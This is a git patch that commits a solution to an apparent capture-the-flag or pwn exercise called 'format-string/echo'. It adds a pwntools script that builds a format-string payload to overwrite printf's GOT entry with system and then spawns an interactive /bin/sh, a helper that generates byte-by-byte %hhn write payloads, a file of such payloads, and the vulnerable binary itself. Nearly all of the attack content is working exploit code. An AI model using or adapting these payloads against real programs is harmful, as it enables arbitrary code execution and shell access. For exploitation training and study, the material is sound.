From 23eca8a37fe8b0aa384b14f12396c734ab3f5566 Mon Sep 17 00:00:00 2001
From: Jack Ren <bjrjk@qq.com>
Date: Tue, 14 Sep 2021 12:31:15 +0800
Subject: [PATCH] Finished format-string/echo

---
 format-string/echo/answer_echo.py |  19 ++++++++++++++++
 format-string/echo/echo           | Bin 0 -> 7596 bytes
 format-string/echo/test_echo.py   |  35 ++++++++++++++++++++++++++++++
 format-string/echo/test_echo.txt  |   5 +++++
 4 files changed, 59 insertions(+)
 create mode 100755 format-string/echo/answer_echo.py
 create mode 100755 format-string/echo/echo
 create mode 100755 format-string/echo/test_echo.py
 create mode 100644 format-string/echo/test_echo.txt

diff --git a/format-string/echo/answer_echo.py b/format-string/echo/answer_echo.py
new file mode 100755
index 0000000..68bdd59
--- /dev/null
+++ b/format-string/echo/answer_echo.py
@@ -0,0 +1,19 @@
+#!/usr/bin/env python2
+from pwn import *
+from LibcSearcher import *
+from struct import pack
+import os, base64, math
+context(arch = "i386",os = "linux", log_level = "debug")
+
+p = process('./echo')
+elf = ELF('./echo')
+
+printf_got = elf.got['printf']
+system_plt = elf.plt['system']
+
+payload = fmtstr_payload(7, {printf_got: system_plt})
+
+p.sendline(payload)
+p.sendline("/bin/sh")
+p.interactive()
+
diff --git a/format-string/echo/echo b/format-string/echo/echo
new file mode 100755
index 0000000000000000000000000000000000000000..71e0963655fd352d51e50408f28fec77cbf62772
GIT binary patch
literal 7596
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
W^vm%<WbX~PKMiU9Ph1U^zyAQ*eIPsl

literal 0
HcmV?d00001

diff --git a/format-string/echo/test_echo.py b/format-string/echo/test_echo.py
new file mode 100755
index 0000000..e070d1c
--- /dev/null
+++ b/format-string/echo/test_echo.py
@@ -0,0 +1,35 @@
+#!/usr/bin/env python2
+from pwn import *
+from LibcSearcher import *
+from struct import pack
+import os, base64, math
+context(arch = "i386",os = "linux", log_level = "debug")
+
+def gen_write_byte_format_string_i386(byte_value, write_address, fmtstr_shift_position, padding='0'):
+    # Placing: Align4(Padding Characters(Output_Count = byte_value), Fmtstr), Write Address
+    first_padding = padding * byte_value
+    flag = True
+    align_part_align_length = int(math.ceil(float(byte_value) / 4) + 2)
+    fmt_str = "%%%d$hhn" % (fmtstr_shift_position + align_part_align_length)
+    result_1 = first_padding + fmt_str
+    result_1 += (align_part_align_length * 4 - len(result_1)) * padding
+    result = result_1 + p32(write_address)
+    return result
+
+with open("answer_echo.txt", "w") as f:
+    f.write(gen_write_byte_format_string_i386(1, 0xffffce0c, 7))
+    f.write("\n")
+    f.write(gen_write_byte_format_string_i386(2, 0xffffce0d, 7))
+    f.write("\n")
+    f.write(gen_write_byte_format_string_i386(3, 0xffffce0e, 7))
+    f.write("\n")
+    f.write(gen_write_byte_format_string_i386(4, 0xffffce0f, 7))
+    f.write("\n")
+    f.write("exit")
+    f.write("\n")
+
+
+#p = process('./echo')
+#elf = ELF('./echo')
+
+
diff --git a/format-string/echo/test_echo.txt b/format-string/echo/test_echo.txt
new file mode 100644
index 0000000..bd359b0
--- /dev/null
+++ b/format-string/echo/test_echo.txt
@@ -0,0 +1,5 @@
+0%10$hhn0000Îÿÿ
+00%10$hhn000
Îÿÿ
+000%10$hhn00Îÿÿ
+0000%10$hhn0Îÿÿ
+exit